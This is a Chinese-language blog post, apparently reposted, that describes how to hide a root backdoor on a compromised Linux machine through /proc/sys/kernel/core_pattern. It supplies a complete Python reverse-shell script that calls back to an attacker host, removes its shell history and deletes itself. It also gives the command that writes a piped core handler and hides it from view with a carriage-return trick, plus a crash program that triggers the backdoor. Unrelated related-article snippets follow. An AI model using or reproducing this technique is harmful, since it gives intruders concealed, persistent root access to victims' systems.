利用 /proc/sys/kernel/core_pattern隐藏系统后门
ref:https://xz.aliyun.com/t/1098/
这里所说的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我们知道在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,然后将进程的coredump 信息写入到文件中,这个文件名默认是core,但是也可以通过配置修改这个文件名。比如可以通过修改/proc/sys/kernel/core_pattern 文件的内容来指定。
Linux man 手册上关于core_pattern的描述:

自Linux 内核2.6.19 之后 core_pattern 不仅仅可以包含一个指定报文coredump信息的文件名,还可以是Linux 管道加一个用户空间的程序或者一个脚本

如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell
下面实例演示使用此方法隐藏后门
0x01. 实例演示
试验环境:
10.1.100.2 控制端 (centos7)
10.1.100.3 victim (kali2)
控制端执行监听,等待后门连接:

被控端(这里的被控端指的就是我们渗透成功的victim机器,root权限)执行以下配置:
1、准备后门脚本
事先准备好反弹shell后门脚本,保存为/tmp/.x.py ,这个脚本在进程崩溃的时候被内核执行(那就是以root权限执行了),脚本代码如下:
[code]#!/usr/bin/env python
# -- coding:utf8 --
import os
import pty
import socket
lhost = "10.1.100.2" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/x.py') # 销毁自身
s.close()
if name == "main":
main()[/code]
非常简单的一段py脚本, 可以用来反弹一个shell
然后执行以下命令,给脚本赋予执行权限
chmod 755 /tmp/x.py
- 修改core_pattern的内容
然后再修改/proc/sys/kernel/core_pattern的内容,执行如下命令:
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
注: core 后面有若干空格,不可省略 (多余的空格是为了在显示的时候遮盖前面的内容)
我们看一下此刻/proc/sys/kernel/core_pattern 中的内容
用cat命令查看

只显示 'core ', 而|/tmp/x.py 却不见了,这是为何?
这是因为 \r (在Linux系统中意为:将光标移动至行首,却不换行),终端在显示的时候core 覆盖了 |/tmp/.x.py 的显示,给人造成一种迷惑,以达到隐藏|/tmp/.x.py 的目的
3、演示程序崩溃,触发后门执行
接下来就是触发系统程序崩溃了,为了演示, 我写了一段含有错误的代码(实际环境上可能要等待某个进程崩溃)
[code]#include <stdio.h>
int main(void)
{
((int )0) = 0;
int a = NULL;
a = 0x1;
return 0;
}[/code]
执行以下命令编译:

增加权限 chmod 755 a.out

然后执行./a.out,使程序崩溃 (看到 core dumped 即表示程序已经崩溃,测试的时候需要适当设置ulimit的值)

然后我们的监听端就已经获取到了系统shell

0x02. 总结
本文旨在提供一种思路分享,希望大家多提意见改进
利用 /proc/sys/kernel/core_pattern隐藏系统后门的更多相关文章
- 关于热插拔usb hotplug /proc/sys/kernel mdev udev b...
转:http://www.360doc.com/content/10/0527/18/9922_29835045.shtml 这篇文章说的很好http://blog.chinaunix.net/u1/ ...
- LINUX远程强制重启/proc/sys/kernel/sysrq /proc/sysrq-trigger
1. # echo 1 > /proc/sys/kernel/sysrq 2. # echo b > /proc/sysrq-trigger 1. /proc/sys/ke ...
- /proc/sys/kernel/sysrq /proc/sysrq-trigger----强制重启/触发器
LINUX远程强制重启/proc/sys/kernel/sysrq /proc/sysrq-trigger----触发器 ttp://blog.csdn.net/beckdon/article/det ...
- "echo 0 /proc/sys/kernel/hung_task_timeout_secs" disable this message
问题现象: 问题原因: 默认情况下, Linux会最多使用40%的可用内存作为文件系统缓存.当超过这个阈值后,文件系统会把将缓存中的内存全部写入磁盘, 导致后续的IO请求都是同步的. 将缓存写入磁盘时 ...
- linux主机hang住echo 0 > /proc/sys/kernel/hung_task_timeout_secs disables this message
用dmesg显示如下图信息 问题原因: 默认情况下, Linux会最多使用40%的可用内存作为文件系统缓存.当超过这个阈值后,文件系统会把将缓存中的内存全部写入磁盘, 导致后续的IO请求都是同步的. ...
- Linux TCP/IP调优参数 /proc/sys/net/目录
所有的TCP/IP调优参数都位于/proc/sys/net/目录. 例如, 下面是最重要的一些调优参数,后面是它们的含义: /proc/sys/net/core/rmem_default " ...
- 向linux内核增加一个系统调用-2(利用proc打印信息)
添加系统调用,打印/proc中的系统信息 前面关于proc和内核态函数的东西可以对比代码来看. 参考 http://blog.csdn.net/kylin_fire_zeng/article/deta ...
- /proc/sys目录下各文件参数说明
linux 其他知识目录 原文链接:https://blog.csdn.net/hshl1214/article/details/4596583 一.前言本文档针对OOP8生产环境,具体优化策略需要根 ...
- [转帖]/proc/sys目录下各文件参数说明
/proc/sys目录下各文件参数说明 https://blog.csdn.net/luteresa/article/details/68061881 一.前言 本文档针对OOP8生产环境,具体优 ...
随机推荐
- Saltstack_使用指南02_远程执行-验证
1. 主机规划 2. Master与哪些minion通信 2.1. Master与哪些minion正常通信 [root@salt100 ~]# salt '*' test.ping salt100: ...
- 我的第一个python web开发框架(34)——后台管理系统权限设计
框架底层和接口终于改造完成了,小白再次找到老菜. 小白:老大,上次你对后台权限系统简单的讲了一下,我一点头绪都没有,现在有空完整的说一说吗? 老菜:说到权限系统,要讲明白真不容易,权限系统并不是越复杂 ...
- JetBrains 注册码
C40PF37RR0-eyJsaWNlbnNlSWQiOiJDNDBQRjM3UlIwIiwibGljZW5zZWVOYW1lIjoiemhhbmcgeW9uZyIsImFzc2lnbmVlTmFtZ ...
- equals方法相关总结
先说一下Object类吧: 这是一个号称为祖宗类的东西,是所有类的父类,也是唯一一个没有父类的类. 接口不继承object类 并且Object类存在于java的lang包中,我们都知道存在于lang包 ...
- dispatch_barrier_async--屏障是一个同步点
Discussion Calls to this function always return immediately after the block has been submitted and n ...
- day 14 递归、匿名函数、内置函数
三目运算符 # 三目(元)运算符:就是 if...else...语法糖# 前提:简化if...else...结构,且两个分支有且只有一条语句# 注:三元运算符的结果不一定要与条件直接性关系cmd = ...
- linux目录1
1.linux常用快捷键 2.linux命令之vmstat 3.linux命令之df 4.linux命令之netstat 5.linux命令之 tar 6.The authenticity of ho ...
- ENABLE_DDL_LOGGING 参数使用 监控对象的DDL(在alter 日志记录DDL语句)
启用 DDL 日志记录 功能--支持动态调整 alter system set enable_ddl_logging=true; alter system set enable_ddl_logging ...
- @EnableWebMvc,WebMvcConfigurationSupport,WebMvcConfigurer和WebMvcConfigurationAdapter区别
@EnableWebMvc是什么 直接看源码,@EnableWebMvc实际上引入一个DelegatingWebMvcConfiguration. @Retention(RetentionPolicy ...
- NetSec2019 20165327 Exp7 网络欺诈防范
NetSec2019 Exp7 网络欺诈防范 一.本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体实践有 (1)简单应用SET工具建立冒名网站 (1分) (2)ette ...